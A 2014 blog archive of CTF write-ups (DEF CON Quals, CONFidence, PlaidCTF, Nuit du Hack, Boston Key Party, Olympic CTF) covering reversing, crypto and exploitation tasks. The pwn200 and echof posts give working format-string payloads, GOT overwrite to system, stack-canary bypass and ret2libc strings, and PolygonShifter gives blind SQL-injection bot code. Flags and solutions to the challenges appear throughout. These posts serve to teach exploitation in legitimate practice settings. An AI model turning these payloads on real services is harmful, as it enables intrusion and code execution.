Sunday, May 18, 2014

DEF CON Quals 2014, 100lines writeup

It's not broken, you just need more RAM.

100lines was a task for 2 points by Jymbolia at the DEF CON Qualifiers. The file was a 64-bit ELF executable.

After some reversing the clue we received from the task description becomes clear. At 0x400D1A the program tries to malloc 264289788888064 bytes, which is roughly 240 terabytes. We have to optimize the program to use less memory.

The key function to optimize was getByte, which calls loop after malloc. loop writes random data into the allocated buffer and when it's finished, getByte returns the value at the passed index. Let's look at loop a bit more closely. After decompiling and a lot of modifications by hand, we get something like this:

void loop(ulong count, char* seed, char* big_buff) {

  count_max = count - 32;
  counter_1 = 0;
  while (counter_1 < count_max) {

      res1 = calc4(seed, counter_1);
      counter_2 = 0;
      while (counter_2 < count_max) {

          res2 = calc4(seed, counter_2);

          res = res1 ^ res2;
          ptr = (count_max * counter_1 + counter_2) * 4;

          big_buff[ptr + 0] = (res >> 24) & 0xff;
          big_buff[ptr + 1] = (res >> 16) & 0xff;
          big_buff[ptr + 2] = (res >> 8) & 0xff;
          big_buff[ptr + 3] = (res >> 0) & 0xff;

          counter_2++;
      }
      counter_1++;
  }
}

calc4 calls calc 4 times with (0, 1, 2, 3) as the third paramter and adds the results using bitwise or. Since nobody else writes to the allocated buffer, this is rather easy to reverse. The seed itself is also created by the loop function, using an array of random numbers called random_pad. This is only ~16MB, so we decided to dump this from gdb and use this for our solution. It was also useful to verify that our reversed loop function works correctly.

To reverse the loop function, we need to reverse calc first. Here is the hand decompiled C code, converted to Python.

def calc4(buf, arg2):
    
    res = 0
    for arg3 in range(4):
        res |= calc(buf, arg2, arg3)

    return res

def calc(buf, arg2, arg3):
    shift = arg2 >> 3
    w = arg2 & 7

    v1 = ord(buf[shift + arg3])
    esi = v1 << w

    v2 = ord(buf[shift + arg3 + 1])
    edx = v2 >> (8 - w)

    eax = (esi | edx) & 0xff
    eax = eax << [24, 16, 8, 0][arg3]

    return eax

Here is the reversed loop function that returns any element of the hypothetical buffer without allocating and computing its content.

def unloop(id):

    i = id / 4
    j = id % 4
    count1 = i / count_max
    count2 = i % count_max

    result = calc4(seed, count1) ^ calc4(seed, count2)
    return (result >> [24, 16, 8, 0][j]) & 0xff

After being able to simulate getByte, we have to take care of some extra things. When we look at the main function, we can see that it takes one character from the user at a time, calls getByte, does some extra stuff and then compares the two. If we correctly guess enough characters from the first 8, we get to the second stage. Here is the decompiled function that runs after getByte on the resulting character:

def fix(x):
    eax = x
    ecx = x
    edx = x

    eax = eax * 3
    eax = eax << 5
    eax = eax + ecx
    eax = eax >> 8

    ecx = ecx - eax
    ecx = ecx >> 2
    eax = eax + ecx
    eax = eax >> 6
    ecx = 0x5d
    eax = eax * ecx
    edx = edx - eax
    eax = edx & 0xff
    eax = eax + 0x20

    return eax & 0xff

Yeah, I was pretty tired here, and my initial implementation had a bug, so I took the assembly and converted it to Python.

After some debugging, every component was finally working, and we got to the second part. The program replied with a bunch of hex-encoded bytes and exited. If we look at the disassembly, we can see that the flag is read into a buffer, and the xor encrypted using the getByte[OTP[i]] values as the key. Since we had already reversed the getByte function, and we knew the OTP values, this was trivial to decrypt.

# We got these after running the first part of the solution
otp = [...]
flag = [...]

print ''.join([chr(unloop(o) ^ f) for o, f in zip(otp, flag)])

Here is the full script for the first part of the challenge: https://gist.github.com/balidani/92912e5f79695f983fc1

Here is the script for the second part, with valid flag and OTP values: https://gist.github.com/balidani/91326787a8900b3a2c2d

If anybody wants to recreate the ~16MB seed file used in the scripts, just run this script: https://gist.github.com/balidani/e8212c3142c28238db6e

Thanks to all of the DEF CON guys for the Quals, it was lots of fun!

Sunday, April 27, 2014

CONFidence DS CTF - pwn200 writeup

The Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.

Finding the vulnerability

Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.


So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.

One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.

Let's fire up IDA and look for vulnerabilities.

We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.


First things first, we look at the main function.

v8 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
puts("Welcome to Multipurpose Calculation Machine!");
for ( i = 0; i <= 2; ++i )
{
  print_menu();
  printf("Choice: ");
  read_count = read(0, &input, 63u);
  if ( !read_count )
    break;
  *(&input + read_count) = 0;
  newline_idx = strchr(&input, '\n');
  if ( newline_idx )
    *newline_idx = 0;
  for ( j = 0; *(void **)((char *)&operations + 3 * j + 8) != 0; ++j )
  {
    op_len = strlen((const char *)*(&operations + 3 * j));
    if ( !memcmp(&input, *(&operations + 3 * j), op_len) )
      (*(void (__cdecl **)(char *, signed int, _DWORD, char *))((char *)&operations + 3 * j + 8))(
        &format_buf,
        308,
        *(void **)((char *)&operations + 3 * j + 4),
        &input);
  }
}
result = 0;
if ( *MK_FP(__GS__, 20) != v8 )
  sub_2090();
return result;

The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).

Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:

v11 = 10;
printf("[%s] Choose the number of parameters: ", op);
scanf("%u", &param_count);
if ( (unsigned int)param_count <= 10 )
{
  for ( i = 0; i < param_count; ++i )
  {
    printf("[%s] Provide parameter %u: ", op, i + 1);
    scanf("%u", &params[i]);
  }
  print_to_string(char_buf, 0x1000u, op, msg_of_day, params, param_count);
  strncpy(output_buf, char_buf, n);
  for ( j = 0; j < n; ++j )
  {
    if ( output_buf[j] == '%' )
      output_buf[j] = '_';
  }
  printf(output_buf);
  sum = 0LL;
  for ( k = 0; k < param_count; ++k )
    sum += (unsigned int)params[k];
  result = printf("[%s] The sum of provided numbers is %llu\n", op, sum);
}
else
{
  result = printf("[%s] Too many arguments!\n", op);
}
return result;

The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).

We know that the value of 'n' is 308. Unfortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.

The next step is a quest to look for the longest possible output. Here is the format of the string:
[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]
After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.


That's a beautiful address we just leaked there, and proof that our vulnerability works.

Pwning the service

So how do we go about pwning the task now?

I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls system("/bin/sh") for us. All I saw was that system is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh, very original, I know).

My idea was to replace memcmp with system, so in the next turn, our input is evaluated.

Finding the system function

So how do we find where the system function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.

Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0. memcmp in the got is at 0x3A78, while system is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.

Our goal is to write the value at 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.

def send_payload(payload):
    global s

    payload = payload + "A" * (63 - len(payload))

    s.recv(1024)
    s.send(payload + "\n")
    s.recv(1024)
    s.send("9\n")

    for x in range(9):
        s.recv(1024)
        s.send("-1111111111\n")

    res = s.recv(1024)
    return res.split("\n")[1]

This function will send our payload and return the leaked value to us. The first address can be leaked like this:

# Leak address
payload = "tan %08x "

result = send_payload(payload)
result = result.split("[")[0].split(" ")[1:-1]
leaked_addr = int(result[0], 16)

How can we now leak a value at a specific address?

Leaking system's address

We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.

(gdb) start
(gdb) b *0x56556dcf
(gdb) r
Choice: tanAAAA
<run until breakpoint is triggered>
(gdb) x/256x $esp
0xffffd100: 0xffffd1a8  0x56558bc0  0x00000134  0x565573d8
0xffffd110: 0xffffd138  0x00000001  0x00000000  0xf7d5893c
0xffffd120: 0xf7e94a20  0x0000000a  0x000000b7  0x56555000
0xffffd130: 0x56555464  0x00003a78  0x00000001  0xf7cef700
0xffffd140: 0xf7e94a20  0xf7cf88f8  0xf7d3385b  0xf7e93ff4
0xffffd150: 0x00000000  0x56558a68  0x56558b00  0x00000000
0xffffd160: 0x00000134  0x00000001  0x00000001  0x00000009
0xffffd170: 0xffffd2dc  0x56558a68  0xffffd338  0x56555cb7
0xffffd180: 0xffffd1a8  0x00000134  0x565573d8  0xffffd2dc
0xffffd190: 0xf7ef3b98  0x00000008  0xffffd2e3  0x00000008
0xffffd1a0: 0x00000000  0x00000003  0x6e61745b  0x41414141
0xffffd1b0: 0x654d205d  0x67617373  0x666f2065  0x65687420

And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find system's value for real.

# Kids, don't code like this at home
result = send_payload("tan" + system_got_addr + " >>>%43$s<<< ")
system_value = result.split(">>>")[1].split("<<<")[0][0:4][::-1].encode('hex')

print "System:", system_value

offset = leaked_addr - int(system_value, 16)
print "Offset:", offset

The offset will be 13010, which is 0x32D2 in hex.

The good old arbitrary write

Now that we know everything, only one step remains. We have to write (leaked_addr - 0x32D2) at (leaked_addr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here: https://gist.github.com/balidani/ab8429bc7b59af7bed8c

Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to system instead of memcmp. And this is what happens:

$ ls -lsa
total 28
 4 drwxr-xr-x 2 root root  4096 Apr 26 08:15 .
 4 drwxr-xr-x 3 root root  4096 Apr 25 23:21 ..
 4 -rw-r--r-- 1 root root    71 Apr 25 23:22 flag.txt
16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200
[ls -lsa] Choose the number of parameters:

$ cat flag.txt
DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba

I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.

Sunday, April 13, 2014

PlaidCTF 2014 - PolygonShifter writeup

This wasn't a very hard web challenge, but it was a cool idea and we managed to solve it first ("Quick, while tomcr00se is not looking"), so I'll do a writeup on it.

Task description

The site looks like it's trying to sell some security mechanism they came up with (patent pending, heh). The idea is that form fields get random names, so bots can't access the site. There is a sample application, where we can log in with "test / test" to check how their super secure solution works.




There is a HTML comment in the login form.

<!--<h3>For admin interface, admin / ???????</h3>-->

Of course randomizing names of a form won't protect you from SQL injection. This is what we get after logging in as admin:


What is left is getting the password with blind SQL injection. Let's see if we can use bots after all. This is the code that bypasses the random names and logs in with a specified username:

url = "http://54.204.80.192"
resp = requests.get(url + "/example")
form = resp.text.encode('utf-8')
action = form.split("<form action=\"")[1].split("\"")[0]
user = form.split("Username")[1].split("Password")[0].split("name=\"")[1].split("\"")[0]
passwd = form.split("Password")[1].split("primary")[0].split("name=\"")[1].split("\"")[0]

cookie = resp.headers['set-cookie']

resp = requests.post(url + action, data={user: payload, passwd: "test"}, headers={'Cookie': cookie})
res = resp.text.encode('utf-8')

Now we can plug this into our blind injection script, and it will spit out the table name, column name and eventually the password. Here is the final exploit: https://gist.github.com/balidani/e541f5ff39f6f3d41156

And the flag was n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm
Oh, but they can!

Awesome CTF from PPP, thanks for organizing it, I need to catch up on some work and sleep now.

PlaidCTF 2014 - halphow2js writeup

This task was for 200 points, and it took us quite a lot of time to figure out. We still managed to get the breakthrough bonus on it, so I guess we were not alone with this.

The task description

When we visit the site, we are greeted with some ugly JS and a bunch of prompts. Chrome dies a miserable death once we enter the fifth number, and some processing starts. 


Let's look at the source. I mirrored it here: https://gist.github.com/balidani/b29dc38658efca998f5b
function client_side() {
 var x,y,z,w,ww;
 while(1) {
  x = prompt("#1",'1'); if(!x) return;
  y = prompt("#2",'2'); if(!y) return;
  z = prompt("#3",'3'); if(!z) return;
  w = prompt("#YOLO",'420'); if(!w) return;
  ww = prompt("#PPP",'123'); if(!ww) return;
  
  // The best solutions run FAST!
  // So, skip the slow self test if you've got a solution
  if(filter(x,y,z,w,ww) == FLAG) break;
  
  if(!self_test()) {
   alert("Sanity check failed! ...");
   return;
  }
  alert("Pick better numbers, man.");
 }
 call_server(x,y,z,w,ww, function(x) { alert(x); });
}

So if filter returns the flag, we are good. Otherwise, we start running the self_test, which calls the mystop function and takes forever to complete. Our next step (and mistake) was trying to figure out why mystop is slow and optimize it. I think this is a very common mistake I make - forgetting what category a task is and trying stupid things. Let's say that mystop is complicated and move on. I wasted an hour here.

Our next idea was to find all the 1000 values, except those that take forever to compute. We did this with a little script using Worker threads. We ended up with ~750 values. Needless to say, this was unnecessary work, but hey, it was 4AM. Let's (finally) look at the filter function that validates the key.

function filter() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 
 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

Oh, look, there are some checks that exclude a lot of values.

  • The keys have to be unique and under 1000
  • For each number in the key, mystop is called (array m)
  • At least 3 items have to follow the formula: m[2] + 3*i == x
  • At least 3 items have to be equal to the key itself
  • The keys cannot be in increasing order

Edit: that last part is a lie, they are sorted by the filter function first. Thanks to @mathias for the clarification, here is his write-up too.

The strongest limitation seems to be number 4, since we hadn't seen many numbers that would map to themselves, only 6 and 1. So how can we have 3? This is were it starts becoming a web task. Look closely at the filter. It uses ==, which is vulnerable, since it doesn't check type. Bingo. One tiny problem is that the values we pass to filter will all be strings, since prompt returns a string. All we have to play with is parsing now. During testing, I found the following weird issue with mystop:

> mystop("2")
1
> mystop("2e0")
2
> mystop("2e00")
2

So this is how we can make a value map to itself, though this only seems to work for 2. The rest is easy, we can arrange our (mystop mapped) values like this:

2, 2, 2, 11, 14

Then the formula we need to satisfy will apply for 3 elements (0, 3, 4). All we needed now was to find 2 numbers that map to 11 and 14. Final payload:

["2e0", "2e00", "2e000", "497", "944"]

The flag

Saturday, April 5, 2014

Nuit Du Hack Quals - "Another One" writeup

"Another One" was a crypto task for 300 points, but according to the number of solutions, it was the second easiest. Nonetheless, it was a cool little task, so I decided to make a quick writeup.

The task description doesn't say too much about what to do: "This is a crypted image, you must extract the data.". Well, duh. After downloading the image, I realized that it's a bmp file. There must be a very good reason for using a bmp file here, otherwise it would be a waste of bandwidth. Let's look at the file in a hex editor.


It looks like there are some random bytes in the beginning, and then a lot of repetitions. Of course the bytes in the beginning aren't random, they are part of the header. Knowing the bmp format, we can tell that the bytes after the header are part of the bitmap data itself.

How could the bmp be encrypted? Could it be a simple repeating xor key? It could, but then why is this picture a bmp? A big hint here is that the repeating part is 16 bytes long, which is the typical block size for block ciphers. If it's a block cipher, the mode has to be ECB, since it's practically impossible for CBC to generate repeating blocks. If it's indeed encrypted using ECB, we have a solution. Assume that the repeating part is white, and display any block that isn't identical as a few black pixels next to each other.

Since the rows are reversed in bmp files, we can go from the bottom, so that the image won't be flipped.

There is one problem: we need to figure out the original size of the image, otherwise all we get is some mess. Let's try some numbers. Note that the size of the image gives us a clue about possible sizes. Fiddling around with an empty bmp file, 1440 * 960 gives a very similar result in size, so we can start off with 1440 as the width. Here's result.


This looks like the philosoraptor and some text, but it's not perfect. Next, we can try 2880, since it looks like 4 dinosaurs are overlapped. At this point we got a bit lucky, because Ubuntu's image viewer is awesome, and after zooming out, it fixed most of the errors. Then we mirrored the image and got this.


It's not impossible to read the message now: 

"AllMyLifeIThoughtAirWasFreeUntilIBoughtABagOfChips".

Here is the script that generated these images: https://gist.github.com/balidani/9999716
Thanks for the Nuit du Hack team for organizing the qualifier, we liked the challenges a lot.

Sunday, March 2, 2014

Boston Key Party - R3V3 writeup

Unfortunately we didn't have too many people or too much time to compete in this year's Boston Key Party. It was a very well organized CTF, with some high quality tasks. Here is my writeup for the 250 point reversing task.

R3V3


We received a 64-bit ELF, disguised as an exe file. This is what it does when we start it:
$ ./R3v3.exe
[1]+  Stopped                 ./R3v3.exe
The binary was packed by UPX, so the first step was to unpack it.
$ upx -d R3v3.exe
Then we loaded the file into IDA and looked around. There were some promising strings, that told us where to look in the code. The whole checking mechanism starts at 0x40112A. After some renaming, we found something that we have to patch in order to go forward with the solution:
.text:0000000000401165 call bad_level
.text:000000000040116A call level_2
But since we ended up solving the whole task with just static analysis, we didn't have to do that. What I named as level_2 starts at 0x4011E4. This is where the fun begins. We are asked for a password and then some form of checksum is calculated, that has to be equal to 0x936.


The checksum algorithm is not very interesting here, because we ended up solving the task without having to consider it. The reason for this, is that we get enough information about the password in the next step, which is called level_1 here. (I named them backwards, starting from 0.) Level 1 (at 0x40126A) does 3 consecutive checks, and this is the heart of the crackme.


Let's look at those check_pass functions now. I will present only one of them here, because they are very similar. check_pass_3 uses 2 different indexes to go through our password. 


Both index_1 and index_1b are incremented by 1 at each turn. Index_1 indexes an array I named _weird_iv_2. I didn't know what it was for at the time, a better fitting name would be checksum_arr_2. What this function does is basically compare pairs of password[i] + password[i + 2] to predefined numbers in the checksum array. This, and all the other check_pass functions give us lots of information about the password. Here it is summarised:

  • checksum_1[i] = password[i/3] + password[i/3 + 1] + password[i/3 + 2]
  • checksum_2[i] = password[i] + password[i + 2]
  • checksum_3[i] = password[i] + password[i + 3]
Here I was wishing that I knew how to use z3. Instead I had to solve it "by hand". It wasn't too hard, since if we guess the first character we can devise a whole 3 character block and the next character. Here is the code if anybody is interested: https://gist.github.com/balidani/596cd8cd11da0b955ff3

The resulting password was MA_SECONDO_VOI_E_STATO_ANTANI?. The final level will cut out "ANTANI" from this and display that as the key. 

This was a simple but enjoyable reversing task. Thanks to the organizers for the nice CTF!

Sunday, February 9, 2014

Olympic CTF - pwn300 (echof) writeup

The vulnerability

This task was a pwnable for 300 points, and it was fun to exploit. The name contains a big hint: there is a format string vulnerability in the program. Here are the relevant parts of the decompiled code:
for ( i = 0; i <= 15; ++i ) {
    puts("msg?");
    fflush(stdout);
    bzero(&buf_2, 0x100u);
    read(0, &buf_2, 0x80u);
    buf_2_len = strlen((const char *)&buf_2);
 
    if ( strchr((const char *)&buf_2, 'n') ) {
        result = puts("i hate this symbol!");
        break;
    }
 
    mmap_buf = (char *)mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);
 
    *((_DWORD *)mmap_buf + 33) = 'ruoY';
    *((_DWORD *)mmap_buf + 34) = 'sem ';
    *((_DWORD *)mmap_buf + 35) = 'egas';
    *((_DWORD *)mmap_buf + 36) = 'd%( ';
    *((_DWORD *)mmap_buf + 37) = 'tyb ';
    *((_DWORD *)mmap_buf + 38) = ':)se';
    *((_DWORD *)mmap_buf + 39) = '\ns% ';
    mmap_buf[160] = 0;
 
    *((_DWORD *)mmap_buf + 32) = mmap_buf + 132;
    strncpy(mmap_buf, (const char *)&buf_2, 0x80u);
    mmap_buf[buf_2_len] = 0;
 
    sprintf((char *)&buf_2, *((const char **)mmap_buf + 32), buf_2_len, mmap_buf);
    puts((const char *)&buf_2);
 
    fflush(stdout);
    result = munmap(mmap_buf, 0x1000u);
}
Some key points:
  • the read function will read 0x80 bytes and it doesn't use a terminating null byte.
  • we can't use %n in the format string, so no arbitrary write yet
  • (_DWORD *)mmap_buf + 32 will represent the beginning of the format string, and this is what we pass to the sprintf function
  • the original address is mmap_buf + 132, which leaves 128 bytes for the user input and 4 to store this address
  • there is a one byte overflow in strncpy, since unlike read, it does use a trailing zero
  • if we overflow 0x00 to the last byte of the address, it will point to the beginning of our input, and it will be interpreted as the format string
  • we can do this by passing exactly 128 bytes of data

The exploit

The vulnerability is clear now, but actual exploitation is many steps away. Since we can't use %n, we have to transform this format string vulnerability into a stack-based buffer overflow. Here are the steps that we have to take to do that.

Leak the base address

Since ASLR is on, we have to leak a base address to know where we are in the memory. After looking at the stack in gdb, we can come up with the following payload:
"%79$08x" + "_" * 120 + "\n"
We will have to subtract 0xc10 from this value to get the base address. We also have to leak a stack address in the same fashion.

Find the return address

If we look at the stack in gdb, we can see that the return address is ~272 bytes after the user-supplied, formatted string on the stack. With this payload, we can overwrite the return address along with the first argument that we will get when we jump to the new return address:
"%0162x" + "_" * 110 + addr * 2 + arg

Defeat the stack protector

There is a stack cookie that we have to bypass. We can just leak it and overwrite it carefully when we are overflowing to the return address, but there is a catch: the last byte is always 0x00. Since we can send a message 16 times, it is easy to solve this though. When the return address is written, we overwrite the stack cookie with the leaked value, but put 0x41 (or anything really) to the last byte. On a second try, we overflow just enough bytes that the terminating zero will be placed to the last byte of the cookie.

To leak the stack protector, we use "%78$08x" + "_" * (...)
To place a terminating null char at the end of the cookie: "%0134x" + "_" * 121 + "\n"

Finding libc

This took me by far the most time, I guess I suck at finding libc versions. I ended up doing the same thing as before (see the writeup here): I started leaking libc addresses as strings and found the copyright string.

First, to get an address from libc we have to look at the got. The first address there will be for the read function. To read at address 0x41414141, we can use this input:
AAAA + "_"*4 + "%14$08x" + "_" * 111 + "\n"
After a bunch of tries, I found the copyright string. The libc version was "Ubuntu EGLIBC 2.15-0ubuntu10.3". To confirm, I calculated the offset between fflush and read and checked it on my local copy. It was a match. Then I checked the address of the system function and leaked the beginning of its bytecode just to check that it wasn't removed. Luckily it was intact, so we came really close to the final exploitation.

Final exploit

The steps for the final exploit:

  • Leak base address, stack protector and a stack address
  • Overwrite stack protector (with the mask), return address, argument to system and the payload itself
  • Put the zero byte in the stack protector
  • Finish the program so that the main function returns to system

Here is the payload for the first and second steps:
"%79$08x %78$08x %10$08x " + "_" * 103 + "\n"
"%0176x" + "_" * 80 + (stack_protector | 0x41) + "_" * 12 + ret_addr * 2 + (stack_addr + 288)  + "_" * 4 + "cat flag;#\n"
Actual code for the exploit can be found here: https://gist.github.com/balidani/84da5d0bf5d06106a4c2

Thanks to More Smoked Leet Chicken for the CTF. I only got to solve this task, but it was great!